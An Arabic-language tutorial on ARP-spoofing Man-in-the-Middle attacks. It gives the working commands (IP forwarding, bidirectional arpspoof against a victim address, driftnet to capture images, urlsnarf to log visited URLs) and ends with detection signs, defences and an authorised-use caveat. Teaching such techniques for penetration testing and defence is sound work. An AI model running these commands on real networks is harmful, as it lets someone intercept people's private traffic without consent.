شرح هجوم MITM ورجل في المنتصف على الشبكات

يعتبر هجوم Man In The Middle (MITM) أو "رجل في المنتصف" واحد من أشهر هجمات الشبكات المستخدمة في اختبار الاختراق وتحليل أمان الشبكات. الفكرة ببساطة إن المهاجم بيحط نفسه بين جهاز الضحية والراوتر، وبالتالي يقدر يشوف البيانات اللي بتتنقل بينهم أو يعدل عليها قبل ما توصل للطرف التاني.

إيه اللي هتحتاجه قبل تنفيذ هجوم MITM؟​

قبل ما تبدأ لازم تكون عارف شوية معلومات أساسية عن الشبكة:

✅ اسم كارت الشبكة المستخدم.​

✅ عنوان IP الخاص بالراوتر.​

✅ عنوان IP الخاص بالجهاز المستهدف.​

مثال:

البيانات	مثال
Network Interface	wlan0
Router IP	192.168.1.1
Victim IP	192.168.1.52

معرفة اسم كارت الشبكة​

استخدم الأمر التالي:

ifconfig

هتلاقي قائمة بالواجهات المتاحة، وغالبًا هتكون الواجهة اللاسلكية باسم: wlan0

معرفة عنوان IP الخاص بالراوتر​

استخدم:

ip route

هتظهر نتيجة مشابهة:

default via 192.168.1.1

الرقم الموجود بعد كلمة via هو عنوان الراوتر.

معرفة عنوان IP الخاص بالهدف​

ممكن تعرفه من:

• صفحة إدارة الراوتر.
• برامج مراقبة الشبكات.
• أدوات فحص الشبكة.

---

تفعيل إعادة توجيه الحزم في لينكس​

أول خطوة لازم جهازك يشتغل كوسيط بين الضحية والراوتر.
نفذ الأمر التالي:

sysctl -w net.ipv4.ip_forward=1

💡 الخطوة دي مهمة جدًا لأن بدونها اتصال الإنترنت عند الضحية ممكن يتوقف بالكامل.

---

تنفيذ ARP Spoofing بين الضحية والراوتر​

أداة arpspoof بتسمح لك بخداع أجهزة الشبكة وإقناعها إن جهازك هو الراوتر الحقيقي.
لتوجيه الترافيك من الضحية إلى الراوتر عبر جهازك:

arpspoof -i wlan0 -t 192.168.1.52 192.168.1.1

📌 افتح Terminal جديد وسيب الأمر شغال.

---

تنفيذ ARP Spoofing في الاتجاه العكسي​

بعد الخطوة السابقة لازم تعمل نفس العملية من الراوتر إلى الضحية.

arpspoof -i wlan0 -t 192.168.1.1 192.168.1.52

🔄 دلوقتي جهازك بقى في منتصف الاتصال بالكامل بين الطرفين.

---

مراقبة الصور المتبادلة على الشبكة باستخدام Driftnet​

أداة Driftnet بتقوم بالتقاط الصور اللي بتمر داخل الترافيك غير المشفر.
تشغيل الأداة:

driftnet -i wlan0

📸 هتبدأ تظهر الصور اللي بتمر عبر الاتصال الذي تقوم بتحليله.

---

مراقبة المواقع التي يتم زيارتها باستخدام Urlsnarf​

لو عايز تعرف الروابط والمواقع اللي بيتم الوصول إليها أثناء تحليل الترافيك، تقدر تستخدم:

urlsnarf -i wlan0

الأداة هتعرض جميع عناوين URL التي تمر عبر الشبكة بصيغة سهلة للتحليل.
🌐 مفيدة جدًا أثناء عمليات تحليل الشبكات واختبارات الاختراق.

---

إيقاف هجوم MITM بشكل صحيح​

بعد الانتهاء من عملية الاختبار اضغط: CTRL + C
داخل كل نافذة Terminal شغالة.

بعدها قم بإيقاف إعادة توجيه الحزم:

sysctl -w net.ipv4.ip_forward=0

---

كيف تكتشف هجمات MITM على شبكتك؟​

لو عايز تحمي نفسك من هجوم رجل في المنتصف، راقب العلامات التالية:
🔹 بطء مفاجئ في الشبكة.
🔹 ظهور شهادات SSL غير صحيحة.
🔹 تحذيرات HTTPS متكررة.
🔹 تغيّر عنوان MAC الخاص بالراوتر بشكل مفاجئ.
🔹 إعادة توجيه غير طبيعية للصفحات.

---

طرق الحماية من هجمات Man In The Middle​

لحماية الشبكة من هجمات MITM:

🛡️ استخدم مواقع HTTPS فقط.​

🛡️ فعّل VPN موثوق.​

🛡️ حدّث الراوتر باستمرار.​

🛡️ استخدم ARP Inspection إن كانت مدعومة.​

🛡️ راقب الأجهزة المتصلة بالشبكة بشكل دوري.​

🛡️ لا تتصل بشبكات Wi-Fi عامة غير موثوقة.​

---

ملخص سريع​

هجوم MITM - Man In The Middle من أشهر هجمات الشبكات المستخدمة في اختبار الاختراق وتحليل أمن الشبكات. يعتمد على وضع المهاجم بين الضحية والراوتر باستخدام تقنية ARP Spoofing لاعتراض الترافيك ومراقبته. ورغم أهمية فهم هذا النوع من الهجمات للمتخصصين في الأمن السيبراني، إلا أن استخدامه يجب أن يكون داخل بيئات قانونية ومصرح بها فقط.